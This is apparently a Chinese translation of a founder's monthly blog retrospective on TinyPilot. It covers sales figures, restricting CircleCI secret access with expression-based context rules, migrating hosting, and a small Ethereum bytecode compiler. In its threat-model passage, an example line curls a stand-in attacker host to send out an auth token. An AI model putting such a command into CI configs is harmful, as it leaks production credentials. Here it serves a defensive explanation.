TinyPilot: Month 45

Michael Lynch

TinyPilot:第 45 个月

一句话总结

批判性地思考部署问题。

亮点

  • 我与 TinyPilot 团队合作,在不影响工作流程的前提下收紧了对部署密钥的访问。
  • 我从错误中吸取教训,在平台间迁移服务时尽量减少停机时间。
  • 我编写了自己的第一个编译器,尽管它极其简单。

目标完成情况

每个月初,我都会定下当月想要完成的目标。以下是本月目标的完成情况:

补齐 TinyPilot 发布文档中的空白

  • 结果:补上了上次发布中发现的空白。
  • 评分:A

我们 3 月的 TinyPilot Pro 版本是我首次完全没有直接参与任何发布任务的版本。发布过程总体顺利,但在某些环节,团队对于下一步该做什么还不太清楚。

我与开发团队和支持工程团队召开了复盘会,收集关于此次发布的反馈。这些会议产生了许多关于流程的有用反馈,我们也据此修订了内部文档和操作手册,以解决遇到的问题。

完成 2023 年报税

  • 结果:按时提交了所有税务文件。
  • 评分:A

今年的报税比较复杂,因为这是我婚后第一年以夫妻联合申报的方式报税,而且我还在等几份税务表格,不过现在所有材料都已提交。

TinyPilot 数据

指标2024 年 2 月2024 年 3 月变化
独立访客13,0009,100-3,900 (-30%)
销售收入$82,517.42$107,809.83+$25,292.41 (+31%)
企业订阅$290.70$290.700
版税$3,373.65$2,442.12-$931.53 (-28%)
总收入$86,181.77$110,542.65+$24,360.88 (+28%)
利润$23,599.09$3,193.73-$20,405.36 (-86%)

3 月是 TinyPilot 历史上销售收入最高的月份,以 600 美元的微弱优势打破了之前的纪录。以单月维度看利润有所下降,但更有意义的指标是三个月的平均值,而该指标表现强劲。

访问量较上月有所下降,但这只是因为 2 月份我的六周年回顾一文带来了异常的访问量激增。

收紧对 TinyPilot 生产环境密钥的访问

过去几个月里,我们一直在改进 TinyPilot 的发布流程,使其更加自动化、减少对我的依赖。

在审查发布流程时,我们意识到有太多团队成员可以访问生产环境密钥。生产环境密钥包括用于发布网站或 TinyPilot 应用新版本的身份验证令牌等。

我们是一个小团队,所以在我们的情况下,所谓“太多”是指有五个人而不是一个人拥有访问权限。尽管如此,仍有四个人本不需要却拥有生产环境密钥的访问权限。

TinyPilot 的大多数代码仓库都采用“push on green”模式,也就是说,每次代码变更在 CircleCI(我们的持续集成服务)上通过自动化测试后,就会被直接推送到生产环境。

我们将密钥存储为 CircleCI 的环境变量。这起初看起来没问题,因为环境变量是只写的,也就是说存储后就无法再读取其值。

CircleCI 的管理界面只会显示环境变量值的一部分,且只有 CircleCI 管理员才能看到。请注意,此处显示的是虚构的值。

一旦我们开始更认真地思考如何保护密钥,就意识到尽管 CircleCI 的网页界面显示得似乎很安全,但实际上五名团队成员都能访问我们的环境变量。恶意团队成员可以通过以下两种方式之一窃取密钥:

  1. 他们可以在代码仓库中创建一个新分支,然后向 CircleCI 配置文件推送一项更改,将密钥外泄到他们控制的远程服务器,例如 curl http://attacker-server.example.com/exfiltrate?token=$AUTH_TOKEN
  2. 他们可以针对任意任务通过 SSH 登录到 CircleCI,并在命令行中输入 echo $AUTH_TOKEN

(1)在一定程度上可以被检测到,但我们从未检查过。(2)则完全无法检测,因为 CircleCI 不会记录 SSH 会话。

这种攻击只能来自 TinyPilot 团队内部,因为第三方贡献者根本无法访问 CircleCI 的环境变量。

我们研究了收紧访问权限的方法,CircleCI 的文档建议将涉及安全的密钥存储在“contexts(上下文)”中。contexts 本质上仍是环境变量,但具有额外的访问控制。

安全 contexts 当时只允许你将访问权限限制给特定的一组人。因此,我们本可以通过让所有人都能访问密钥来维持现有工作流,但那样就又回到了起点。我们也可以武断地决定只信任团队中的某一部分人,并让他们来发起每次部署,但这会带来巨大的协作阻力。

我们联系了 CircleCI 的技术支持,他们表示正好即将发布一项能解决我们问题的功能。两周后,CircleCI 推出了expression-based context restrictions(基于表达式的上下文限制),而该功能确实完美解决了我们的问题。

CircleCI 的 expression-based context restrictions 让我们可以为 contexts 添加除用户白名单之外的更多限制。我们可以将密钥限制为只能在特定分支上使用,并在启用 SSH 时禁用访问。最终我们使用的表达式如下:

pipeline.git.branch == "master" and not job.ssh.enabled

该表达式缓解了上述攻击(1),因为试图通过分支外泄密钥的恶意团队成员在其分支中将无法访问该密钥。

该表达式通过在用户以 SSH 方式启动 CircleCI 任务时使密钥不可用来缓解攻击(2)。

我们的 master 分支要求任何变更都至少需要一人审批,因此该系统仍然容易受到两名团队成员合谋作恶的攻击。一名心怀不轨的成员可以引入一段外泄密钥的代码变更,而其同谋则予以批准。但这种攻击会特别显眼,因为变更会出现在我们经常处理的文件中,并且会有清晰的审计记录显示是谁提交的。

总体而言,我对 CircleCI 的 expression-based context restrictions 感到满意。如果你的团队中 CI 可以访问生产环境密钥,我建议你思考一下是否有过多团队成员拥有了本不需要的密钥访问权限。

改进在不同主机间迁移服务的流程

创立 TinyPilot 之初,我倾向于将服务托管在 Google Cloud Platform 和 Amazon Web Services 等大型服务商上。在过去四年里,我逐渐更偏爱 Netlify 和 Fly.io 这样的小型服务商。

TinyPilot 的大多数服务已经运行在较小的托管平台上,但仍有几项我早期搭建后就未曾迁移的服务,因此我决定进行整合。

其中一次迁移有些坎坷,我吸取了教训,让下一次迁移更加顺利。

从 Firebase 到 Netlify 的迁移(过程坎坷)

TinyPilot 网站只是一个静态网站,所以可以托管在任何地方。它原本托管在 Firebase 上,因为 2020 年时我所有项目都用 Firebase,而且一直运行良好。但在围绕安全上下文重构部署流程时,我意识到这是一个将网站从 Firebase 迁移到我目前首选的静态网站托管平台 Netlify 的好机会。

这看起来会是一次简单的迁移。没有数据库或任何需要保持同步的内容。我只需要在 Netlify 上开始发布网站,并更新 DNS 记录以指向新主机即可。

至少我当时是这么想的。

我将网站发布到 Netlify,更新了 tinypilotkvm.com 的 DNS 记录,尝试访问网站,结果:出现了 TLS 错误。

Firefox 访问 tinypilotkvm.com 时的截图,浏览器显示“警告:潜在的安全风险”

更新 DNS 记录后,我在访问 TinyPilot 网站时立即看到了 TLS 错误。

这很糟糕。没有人愿意在浏览器刚刚提示该网站会窃取其信用卡信息后,还在上面购物。

更糟的是,我在周四美东时间上午 9:30 做了这次变更,正值我们迎来最多付费客户的时段。

难道是 Netlify 还没有生成 TLS 证书?我查看了 TLS 错误详情,结果发现浏览器抱怨的是来自 Firebase 的 TLS 证书。奇怪?难道 Firebase 不应该仍在用旧证书正常提供旧网站吗?

我对访客情况的设想是,根据他们所查询的 DNS 服务器中信息的时效性,访客会分为两类:

  1. 他们查询到的 DNS 服务器仍存有旧的 Firebase IP 地址 -> 他们看到的是更新 DNS 之前的旧版 Firebase 网站,运行正常。
  2. 他们查询到的 DNS 服务器已有新的 Netlify IP 地址 -> 他们看到的是运行正常的新版 Netlify 网站。

即便现在,我仍不明白为什么会看到 Firebase 的证书错误。我能想到的唯一解释是,Firebase 会对 DNS 变更作出反应,并在相关 DNS 记录发生变化时立即使证书失效。但 Firebase 管理后台仍显示我的证书是有效的。

作为临时解决办法,我将 Firebase 配置为把访客重定向到 netlify-preview.tinypilotkvm.com,这是我前一天为新网站设置的预发布域名。这招奏效了,客户不再看到 TLS 错误。我真希望当初选的预发布域名不要像 netlify-preview 这么奇怪,因为它会强烈暗示客户出了问题,但总比显示 TLS 错误要好。

在接下来的一整天里,旧的 Firebase 网站仍在接收流量,但在几天内逐渐降至零。一周后,我关闭了 Firebase 上的网站。

从 AWS 到 Fly.io 的迁移(过程顺利)

TinyPilot 使用LogPaste 服务器来收集用户的诊断日志。这是一个基本的 Go 应用,而我首选的 Go 服务托管平台是 Fly.io。但 TinyPilot 的 LogPaste 服务器运行在 AWS LightSail 上,因此我决定将其从 LightSail 迁移到 Fly.io。

迁移 LogPaste 比迁移 TinyPilot 网站稍难一些,因为 LogPaste 还有一个 SQLite 数据库。不过风险也更低,即使 LogPaste 服务器宕机几天也不会造成严重后果。

迁移前一天,我将 logs.tinypilotkvm.com 的 DNS 记录的 TTL 调低到一分钟。DNS 服务器不一定会遵守 TTL,但我觉得对于那些会遵守的服务器来说,限制缓存还是有帮助的。

我还在 Fly.io 上以域名 logs2.tinypilotkvm.com 部署了一个预发布版本的 LogPaste。这样一来,如果我需要像处理 TinyPilot 网站那样使用重定向的技巧,就能有一个不会太奇怪的 URL 来指向用户。

我还准备了一个迁移脚本,用于将数据从旧的 LightSail 版本迁移到新的 Fly.io 版本。这是一个简单的 bash 脚本,它会从 Amazon S3 存储桶下载生产数据库,并上传到支持新 Fly.io 服务器的存储桶中。

部署当天,我一起床就在早上 7 点执行了迁移。这样一来,如果出现临时中断,受影响的人会稍微少一些。

幸运的是,迁移过程非常顺利。我链路上的所有 DNS 服务器似乎都遵守了 1 分钟的 TTL,因为我的 Fly.io 服务器日志显示 LogPaste 几乎立即就开始处理对 logs.tinypilotkvm.com 的请求。

我又让 LightSail 版本多运行了一周,确认不再有流量后才将其删除。

在不同主机间迁移服务的通用策略

注意:这可能不是迁移服务的最佳策略。我猜应该有更好的做法来最大程度地减少证书错误,但这已经比我之前的做法要好。

下次需要在不同主机间迁移服务时,我打算遵循本月学到的流程。

作为一个通用示例,假设你要将托管在 example.com 上的服务从平台 A 迁移到平台 B。

准备日

在计划迁移的前一两天,执行以下步骤:

  1. 将你的服务部署到平台 B。
  2. 在平台 B 上为你的服务创建一个子域名的证书。
    • 这通常在托管平台的“添加自定义域名”设置中。
    • 选择一个即使用户看到也不会觉得太奇怪的子域名,例如 www2.example.comweb.example.com
    • 不要选择像 insecure-staging.example.com 这样会让终端用户感到不安的子域名。
  3. 为新子域名添加指向平台 B 的 DNS 记录。
  4. 确保你可以通过新子域名访问平台 B,且浏览器中没有 TLS 错误。
  5. 将生产环境 example.com 的 DNS 记录的 TTL 降低到一个较小的值,例如 1-5 分钟。
  6. 在平台 B 上为生产环境的 example.com 域名生成证书。

迁移日

在迁移当天,执行以下步骤。

  1. 选择流量较低的时间。
    • 如果你可能需要队友的支持,请确保他们有空并了解此次迁移。
  2. example.com 的 DNS 记录更新为指向平台 B 而非平台 A。
  3. 检查你是否仍可通过主域名 example.com 访问服务。

如果在更改 DNS 后访问服务时看到平台 A 的 TLS 错误:

  • 作为临时解决办法,将平台 A 配置为把流量重定向到你在准备日设置好的预发布子域名。
  • 使用 dig 检查从本地计算机的角度看 DNS 记录何时过期,并观察 DNS 记录过期后 TLS 错误是否消失。

下线旧服务器

迁移后至少等待 24 小时,然后执行以下步骤:

  1. 确认流向平台 A 的流量已停止。
  2. 下线你在平台 A 上的服务器。
  3. 确认在没有平台 A 的情况下你的服务仍可访问。
  4. 将生产环境 DNS 记录的 TTL 恢复为合理的值,例如 60 分钟。
  5. 从 DNS 记录中移除预发布子域名。

业余项目

编写一个简单的编译器

为了更深入地学习 Zig、解释器和以太坊,过去几个月我一直在开发一个用 Zig 实现的以太坊虚拟机,名为eth-zvm

我已经为 eth-zvm 编写了性能基准测试,但它们执行的程序只是一些以太坊字节码片段,例如:

60016000526001601ff3

这种字节码很难编辑。当我想修改测试时,必须先将字节码反编译成人类可读的形式,进行修改,然后再重新编译回原始字节。

以太坊有一种人类可读的字节码表示形式,称为助记符格式,因此上述字节码对应的助记符形式如下所示:

PUSH1 0x01
PUSH1 0x00
MSTORE
PUSH1 0x01
PUSH1 0x1f
RETURN

它仍然很底层,但比原始字节更容易理解。

我想以助记符格式而非字节码来存储测试。我寻找过助记符到字节码的编译器,但没找到任何开箱即用、可在命令行中使用的工具。

这看起来是一项足够简单的任务,所以我决定自己编写一个助记符到字节码的编译器

就编译器而言,我的这个已经简单到极致。每个可能的输入词元与每个输出字节几乎是一一对应的。

这是一个非常简单的程序:

$ echo 'RETURN' | ./mnc /dev/stdin /dev/stdout
f3

RETURN 的操作码值0xf3,因此输出的字节码就是 f3

当操作码带有参数时,情况会稍微复杂一些,例如 PUSH1,它会将单个字节压入栈中:

$ echo 'PUSH1 0x42' | ./mnc /dev/stdin /dev/stdout
6042

我也可以使用 PUSH32,它会将一个 32 字节的值压入栈中:

$ echo 'PUSH32 0x42' | ./mnc /dev/stdin /dev/stdout
7f0000000000000000000000000000000000000000000000000000000000000042

我实现了对行内注释的支持,因此上面那个示例应用加上注释后如下所示:

$ tempfile="$(mktemp)" && \
  cat << EOF > "${tempfile}"
// Store 0x01 in memory as a 32-byte word.
PUSH1 0x01
PUSH1 0x00
MSTORE

// Return 1 byte from offset 31 in memory.
PUSH1 0x01
PUSH1 0x1f
RETURN
EOF

$ ./mnc "${tempfile}" /dev/stdout
60016000526001601ff3

现在我将 eth-zvm 的基准测试示例以人类可读的助记符格式存储,并在按需将其编译为字节码来运行基准测试。

编写一个编译器很有趣,即使是一个简单的编译器。我的编译器目前会接受像 PUSH1 RETURN 这样语义不正确的代码,但对我的需求来说已经足够好。这个项目依然是我深入学习编程语言工作原理的一种有趣方式。

总结

完成了什么?

经验教训

  • 在 CI 环境变量中存储密钥是好做法,但团队成员越多,就越应该限制访问。
  • 在平台间迁移服务时要采用严谨的方法。
    • 选择一个既不会干扰业务、又有时间从错误中恢复的时间段。
    • 至少在迁移前一天调低 DNS 的 TTL。
    • 在迁移前提前准备好新的 TLS 证书。
    • 选择一个即使出现问题、让终端用户看到也无妨的预发布子域名。

下月目标

  • 与三家新的潜在 TinyPilot 分销商或销售渠道展开洽谈。
  • 监督两个新的 TinyPilot 软件功能的开发。
  • 与制造商协调 2024 年剩余时间的生产计划。

原文由 Michael Lynch 发布

本文章由 muse-spark-1.2-contributor 进行翻译